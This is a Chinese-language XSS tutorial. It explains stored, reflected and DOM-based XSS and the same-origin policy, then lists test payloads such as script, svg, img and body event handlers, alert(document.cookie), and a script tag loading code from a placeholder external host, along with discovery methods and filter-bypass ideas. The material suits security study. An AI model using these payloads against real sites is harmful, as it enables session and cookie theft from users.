xss原理
xss跨站脚本攻击,攻击者通过往web页面里插入恶意的script代码,当用户浏览页面时,嵌入web页面里的script代码就会被执行,从而达到攻击的目的。xss攻击是针对用户层面的。
xss分类
存储型,反射型,DOM型
存储型xss:存储型xss,持久化代码是存储在服务器中的
反射型xss:非持久化,需要欺骗用户自己去点击链接才能触发xss代码,一般容易出现在搜索界面。反射型xss大多数是用来盗取用户的cookie信息
DOM型xss:不经过后端,DOM-XSS漏洞基于文档对象模型的一种漏洞。是通过url传入参数去控制触发的。其实也属于反射型xss。
XSS能做什么
1、盗取Cookie并发送(用的最频繁的) , document.cookie —— 读取cookie,AJAX【核心是默认异步执行机制,依靠JS】发送数据
2、获取内网ip(攻击内网、扫描内网)
3、获取浏览器保存的明文密码
4、截取网页屏幕
5、网页上的键盘记录
检测XSS
<script>alert(1)</script>
XSS的常用语句,刷新之后若有弹窗,说明存在XSS。
XSS核心 —同源策略
同源策略:同域名|IP、同端口、同协议 。
浏览器的同源策略,认为同一个网站,访问同一个东西,限制了不同源的Js,对当前页面的资源和属性的权限。同源策略保护了a.com域名下的资源不被来自其他网页的脚本读取或篡改。
同源:
http://www.baidu.com
http://14.215.177.39
https://a.b.c
https://a.b.c/abc
不同源
http://a.gyy.cn => a.gyy.cn
http://b.gyy.cn => b.gyy.cn
https://a.b.c => https: //443端口
http://a.b.c => http: //80端口
XSS攻击载荷
script标签
<script>alert("hello")</script> #弹出hello
<script>alert(/hello/)</script> #弹出hello
<script>alert(1)</script> #弹出1,数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com.sxx.js></script> #引用外部xss
svg标签
<svg onload=alert(1)>
<svg onload=alert(1)// #所有的标签>都可以用//替换
img标签
<img src=1 onerror=alert("hello")>
<img src=1 onerror=alert(document.cookie)>
body标签
<body onload=alert("hello")>
<body onpageshow=alert(1)>
video标签
<video onloadstart=alert(1) src="/xx/xx"/>
style标签
<style onload=alert(1)></style>
XSS漏洞的挖掘
黑盒测试
尽可能找到用户可控并且能够输出在页面的地方,比如:url的参数,表单,搜索框
白盒测试(代码审计)
代码审计主要是从接受参数的地方和一些关键词入手。
例如:
接收参数的get,post进行跟踪,看看是否这些参数有在界面进行输出,在看这些输出在界面的数据是否进行了过滤和编码等。
关键词echo等输出语句,跟踪这些语句的来源,是否能够进行控制。取数据的时候是否进行了过滤或者编码等
审计DOM型注入的时候可以搜索一些js操作dom元素的词
XSS攻击过程
存储型xss
1、A 是个WEB站点,可以发布、浏览、评论文章
2、攻击者检测到A站点具有存储型XSS漏洞
3、攻击者在A站点上发布了具有恶意脚本的文章存入到服务器上
4、普通用户浏览攻击者发布的文章,恶意脚本就会执行
5、恶意脚本执行后,攻击者就可以对浏览器该页面的用户发动xss攻击
数据流向:客户端->服务端->数据库->服务端->客户端
标题反射型xss:
1、A通过用户名/密码登录一个网站,此网站存储了A的敏感信息(用户名,密码,身份证等信息)
2、攻击者发现此网站存在xss反射型漏洞
3、攻击者编写了恶意脚本做成链接诱导A点击
4、A浏览了攻击者的链接恶意脚本在A的浏览器中执行,就窃取了A的敏感信息,然后再A不知情的情况下将信息发送给攻击者
数据流向:客户端->服务端->客户端
DOM型xss
数据流向:客户端->浏览器
XSS绕过技巧
大小写绕过
关键字嵌套绕过
使用过滤之外的关键字
示例:
版权归原作者 火腿肠 所有, 如有侵权,请联系我们删除。